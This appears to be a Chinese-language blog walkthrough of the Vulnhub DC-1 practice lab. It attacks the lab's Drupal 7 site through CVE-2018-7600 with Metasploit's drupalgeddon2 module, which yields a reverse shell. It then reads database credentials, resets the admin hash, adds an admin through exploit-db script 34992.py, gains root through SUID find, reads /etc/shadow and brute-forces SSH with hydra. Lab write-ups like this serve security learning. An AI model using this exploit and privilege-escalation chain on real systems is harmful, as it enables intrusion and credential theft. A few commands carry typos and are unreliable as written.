[网络安全] 二十八.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(2)

2021-12-02 20:00:27 浏览数 (2)

文章目录:

  • 一.DC-1题目描述及环境配置 1.题目描述 2.环境搭建
  • 二.Vulnhub靶机渗透详解 1.信息收集 2.CMS漏洞搜索 3.Metasploit漏洞利用 4.敏感信息分析获取flag1和falg2 5.数据库爆破 6.数据库管理员密码修改及获取flag3 7.用户信息获取flag4 8.提权和Hydra爆破flag5 9.SSH远程登录 10.suid提权
  • 三.总结

作者的github资源:

  • 逆向分析:https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/ NetworkSecuritySelf-study

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。


一.DC-1题目描述及环境配置

Vulnhub是一个特别好的渗透测试实战靶场,提供了许多带有漏洞的渗透测试虚拟机下载。作者会深入分析20多个案例来熟悉各种Web渗透工具及方法,希望能帮助到您。

1.题目描述

靶场题目:DC: 1

靶场地址:https://www.vulnhub.com/

entry/dc-1-1,292/

难度描述:包含5个Flag,初级难度,最终目标是在root主目录中找到并读取该标志

靶场作者:DCAU

下载地址:https://download.vulnhub.com/

dc/DC-1.zip

Description DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn. To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS. There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners. There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges. Depending on your skill level, you may be able to skip finding most of these flags and go straight for root. Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.


2.环境搭建

第一步,下载资源

第二步,打开VMware虚拟机安装靶场 找到我们刚才下载的文件,导入虚拟机。

选择存放的位置,然后点击导入。如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。

第三步,导入完成之后,设置NAT网络模式,内存设置为1G,硬盘设置为4GB 注意,我们需要将靶机和kali放在同一个局域网下,保证能通信。

第四步,点击开启虚拟机

此时服务器处于开启状态,开始Kali操作吧!最早我一直去找用户名和密码尝试登录,后来想这个靶场应该是让你通过其他系统来渗透的。哈哈,毕竟我也是初学者,遇到任何简单问题都理解。


二.Vulnhub靶机渗透详解

1.信息收集

第一步,目标IP探测 首先需要探测目标靶场的IP,推荐两种方法。

方法1:使用arp-scan命令探测目标的IP地址

  • arp-scan -l
  • 目标IP为192.168.44.144

方法2:使用netdiscover识别目标主机

  • netdiscover -i eth0 作者结合自己的虚拟机识别出来IP地址为:192.168.44.144

第二步,端口扫描 nmap命令的基本用法如下:

  • -sS:半开扫描,记入系统日志风险小
  • -sP:扫描端口前,先使用ping扫描,保证主机存活
  • -A:全面系统检测,启用脚本检测和扫描

输入命令如下:

  • nmap -sS -T4 -A -p- 192.168.44.144

扫描结果(主机开放端口)如下,常用的端口22和88,也需要注意一些特殊的端口可能存在漏洞。

  • 22:SSH远程连接
  • 80:HTTP网站协议
  • 111:RPCBInd协议
  • 45684:敏感端口

注意:在信息扫描中,目录扫描是接下来的操作。但这里作者没有进行目录扫描,因为该靶场考察一个CMS漏洞利用,后续也会有目录扫描操作。


2.CMS漏洞搜索

接着我们通过IP直接访问Web服务,这是一个Drupal搭建的网站。

推荐使用插件Wappalyzer进行网站指纹识别,也可以发现该网站是使用Drupal CMS的管理系统。

我们可以尝试在网上搜索这个cms的漏洞利用方式,可以发现漏洞编号为:

  • CVE-2018-7600

使用AWVS进行扫描,得到该页面存在Drupal的一个漏洞CVE-2018-7600。


3.Metasploit漏洞利用

接下来使用metasploit工具对漏洞进行利用。

第一步,启动metasploit

  • msfconsole

第二步,搜索drupal模块,采用2018 搜索这个CMS在MSF中能进行利用的方法,前面我们已经查询CVE-2018-7600是常见的漏洞。如果不知道的情况下,我们就需要一个个攻击模块的尝试。

  • search drupal

第三步,采用最新的2018漏洞尝试攻击,配置参数

  • use exploit/unix/webapp/drupal_drupalgeddon2
  • show options:显示配置参数,其中RHOSTS是必填项

第四步,反弹shell

  • set RHOSTS 192.168.44.144
  • exploit
  • shell
  • ls

具体内容如下,注意发现了第一个文件flag1.txt。

代码语言:javascript复制
README.txtmsf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.44.144
RHOSTS => 192.168.44.144
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.44.138:4444 
[*] Sending stage (38247 bytes) to 192.168.44.144
[*] Meterpreter session 1 opened (192.168.44.138:4444 -> 192.168.44.144:33770) at 2020-04-10 22:25:12  0800

meterpreter > shell
Process 3429 created.
Channel 0 created.

ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
flag1.txt
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config
xmlrpc.php

4.敏感信息分析获取flag1和falg2

在/var/www/下有个flag1.txt,提示我们查看配置文件。

虽然shell已经进入,但它并不是交互的shell,所以我们要进入交互式的shell。

  • cat flag1.txt
  • pwd
  • whoami
  • ls

使用python反弹一个交互式shell TTY。

  • python -c 'import pty;pty.spawn("/bin/bash")'

注意,drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。

  • cat settings.php

接着发现了flag2以及数据库账号密码。

登上数据库查看相关信息。

代码语言:javascript复制
<?php

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

5.数据库爆破

由于Drupal的默认配置文件为 /var/www/sites/default/settings.php,查看发现了flag2和数据库的账号密码,我们接着进入数据库查看。

第一步,登录数据库

  • msql -u dbuser -p
  • username => dbuser
  • password => R0ck3t
  • database => drupaldb

第二步,数据库基本操作

  • show database;
  • use drupaldb;
  • show tables;

发现用户表为users,注意Drupal框架默认的用户表就是users表。

第三步,查询admin用户

  • select * from users;
  • select name,pass from users;

发现admin账号和经过加密的密码,flag2中给的提示暴力破解不是唯一的方法

输出结果如下,但密码加密且不是md5方式。如何破解密码是接下来的关键。

代码语言:javascript复制
mysql> select name,pass from users;
select name,pass from users;
 ------- --------------------------------------------------------- 
| name  | pass                                                    |
 ------- --------------------------------------------------------- 
|       |                                                         |
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
 ------- --------------------------------------------------------- 
3 rows in set (0.00 sec)

6.数据库管理员密码修改及获取flag3

该部分参考文章: VulnHub::DC-1 - chalan630大佬 如何重置Drupal 7的用户密码 - xieyanxy9 忘记Drupal的管理员密码的解决办法 - drupalchina

方法一:利用PHP脚本修改管理员密码 由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。

第一个破解方法是利用Drupal 7安装目录的scripts目录下,有一些Drupal 7开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为password-hash.sh,它的功能是传入一个密码(字符串),即返回加密后的密码字符串。

由于Drupal 7对数据库加密的脚本位于网站根目录scripts下,利用该脚本修改为新密码123456,基本流程如下:

  • php scripts/password-hash.sh 123456
代码语言:javascript复制
# php scripts/password-hash.sh 123456
php scripts/password-hash.sh 123456
password: 123456 		
hash: $S$DQrmfkgP1s7S3svvp/OdzHuGpZyt0oaIOIMuULnN6Zo.gxuq8MAu

接着我们再次登录数据库。

  • mysql -u dbuser -p

使用update语句修改密码,代码如下:

  • use drupaldb;
  • select name,pass from users;
  • update users set pass=’$… Zo.gxuq8MAu’ where name=‘admin’;
  • select name,pass from users;

对原密码进行替换,再登录web服务,得到flag3。

  • admin
  • 123456

主页显示如下图所示:

可以在People页面看到我们的管理员用户信息。

对应的Flag3如下图所示:

flag3的提示需要提升权限,使用“-exec”在shadow文件中,接下来需要先查看用户列表。


方法二:查找可利用漏洞,添加新管理员账户 在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。

第一步,查看Drupal版本,确定Drupal版本为7.24

  • cat /var/www/includes/bootstrap.inc | grep VERSION

第二步,使用searchsploit查找可利用漏洞。攻击脚本适用于7.31以下,所以适合7.24版本。

  • searchsploit drupal

第三步,利用drupal7.0版本漏洞增加有admin权限的用户:eastmount

  • python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount

新增管理员用户如下:

第四步,使用新添加的用户eastmount登录网站,在content模块下找到flag3。

显示flag3如下:

flag3提示需要提升权限,使用“-exec”在shadow文件中,接下来需要先查看用户列表。


7.用户信息获取flag4

首先,我再带领大家回顾下整个渗透的流程。

代码语言:javascript复制
1.metasploit反弹shell
  msfconsole
  use exploit/unix/webapp/drupal_drupalgeddon2
  set RHOSTS 192.168.44.144
  exploit

2.获取www-data@DC-1用户权限
  shell
  python -c 'import pty;pty.spawn("/bin/bash")'
  cat /etc/passwd
  find /root

flag3的提示提到了权限,于是我们尝试查看用户列表。

  • cat /etc/passwd

注意,/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段。如下图所示:

发现flag4用户,接着切换到falg4的home目录,发现flag4.txt文件。flag4提示flag in root,接下来我们需要提权。


8.提权和Hydra爆破flag5

我们使用find获取root权限相关的信息,如下图所示:

  • find /root

find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。 find(选项)(参数) -exec<执行指令>:假设find指令的回传值为True,就执行该指令 -perm<权限数值>:查找符合指定的权限数值的文件或目录

发现最终flag文件,但是无权限打开,flag3中提醒需要使用“-exec”提权。

接着进行ROOT提权,核心步骤包括:

  • mkdir test
  • find test -exec ‘/bin/sh’ /;

查看/etc/shadow文件,发现flag4用户,并且flag4用户可以登录和密码。所以我们使用hydra进行爆破。

  • cat /etc/shadow

/etc/shadow文件存储的是/etc/passwd的密码、存放安全用户信息,格式如下:

接着使用hydra进行密码爆破,最终爆破用户和密码为:flag4、orange。

  • hydra -l flag4 -P passwords.txt ssh://192.168.44.144
  • -l:指定用户名
  • -P:加载自定义密码字典
  • ssh://ip:指定使用协议和ip地址

注意,hydra爆破海量密码比较耗时,所以拥有一些好的字典非常重要。

最终结果为:

  • login: flag4
  • password: orange

9.SSH远程登录

接着使用flag4用户进行ssh远程登录系统。

  • ssh flag4@192.168.199.203
  • 密码: orange

前面在flag4中提示root根目录,接着进入到根目录/root下找到thefinalflag.txt文本。

最终五个flag全部找到,游戏结束!DC-1这个靶场的综合性挺强的,也非常有趣。

注意,我们也可以直接利用find和-exec获取最终的flag。

  • touch test
  • find test -exec whoami ;
  • find test -exec cat /root/thefinalflag.txt;

10.suid提权

什么是suid? 通俗的理解是其他用户执行这个程序的时候可以用该程序所有者/组的权限。suid提权可以理解为某个文件有s标志,并且它输入root,当我们运行这个程序时就可以有root的权限,并且这个程序还能执行命令,那么我们就能从普通用户提升到root权限。常见suid提权的命令包括nmap、vim、find、bash等。

下面补充下suid提权方法,前面我们的www-data权限很低,通常拿到网站需要进行提权。找到一个属于root有s权限的文件。

  • find / -user root -perm 4000 -print 2>/dev/null
  • find / -perm -u=s -type f 2>/dev/null

查看find的权限为root。

  • cd /usr/bin
  • ls -l find

root提权。

  • mkdir test
  • find test -exec ‘/bin/sh’ /;
  • whoami

接下来开始寻找flag,比如进入home目录发现flag4文件。

这文件存储的是/etc/passwd的密码、存放安全用户信息。


三.总结

写道这里,这篇文章讲解完毕,后续会更深入的分享。DC-1的渗透流程如下:

  • 信息收集 (1) 目标IP探测 (arp-scan、netdiscover) (2) Nmap端口扫描
  • CMS漏洞搜索 (1) Wappalyzer识别Drupal CMS管理系统 (2) 搜索Drupal漏洞编号CVE-2018-7600
  • Metasploit漏洞利用反弹shell (1) 搜索drupal漏洞 (2) msf使用漏洞并配置参数 (3) 反弹shell
  • 敏感信息分析 (1) 敏感信息获取flag1 (2) python反弹交互式shell python -c ‘import pty;pty.spawn("/bin/bash")’ (3) 获取flag和数据库账号密码
  • 数据库爆破 (1) 登录数据库 msql -u dbuser -p (2) 查看用户表users (3) 发现admin用户和密码,但密码加密
  • 数据库管理员密码获取 (1) 修改管理员密码 php scripts/password-hash.sh 123456 (2) 数据库update更新密码 update users set pass=‘MD5(123456)’ where name=‘admin’; (3) 登录网站获取flag3 (4) 利用漏洞和Python脚本新增用户 searchsploit drupal (5) python /usr/share/exploitdb/exploits/php/ webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount
  • 提权和Hydra爆破 (1) 用户信息获取flag4 cat /etc/passwd (2) ROOT提权 find test -exec ‘/bin/sh’ /; (3) hydra爆破密码 hydra -l flag4 -P passwords.txt ssh://192.168.44.144
  • SSH远程登录
  • suid提权,常见root提权命令 (1) find test -exec cat /root/thefinalflag.txt ; (2) find test -exec ‘/bin/sh’ / (3) find / -user root -perm -4000 -print 2>/dev/null (4) find / -perm -u=s -type f 2>/dev/null (5) find / -user root -perm -4000 -exec ls -ldb {} ;

学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。


参考文献:

  • [1] VulnHub-DC-1靶机渗透测试 - MzHeader
  • [2] VulnHub::DC-1 - chalan630
  • [3] Vulnhub靶机渗透测试实战(一):DC-1(入门) - Jenny_Zhx
  • [4] Vulnhub系列:DC-1 - capelthwaite
  • [5] (vulnhub靶机)DC-1 - 深信服TraveNight
  • [6] VulnHub测试靶场DC-1 - wx5c99daab1f230
  • [7] Vulnhub DC-1靶机渗透学习 - This-is-Y
  • [8] 如何重置Drupal 7的用户密码 - xieyanxy9
  • [9] https://cybrary.in/dc-1-1-vulnhub-walkthrough/

0 人点赞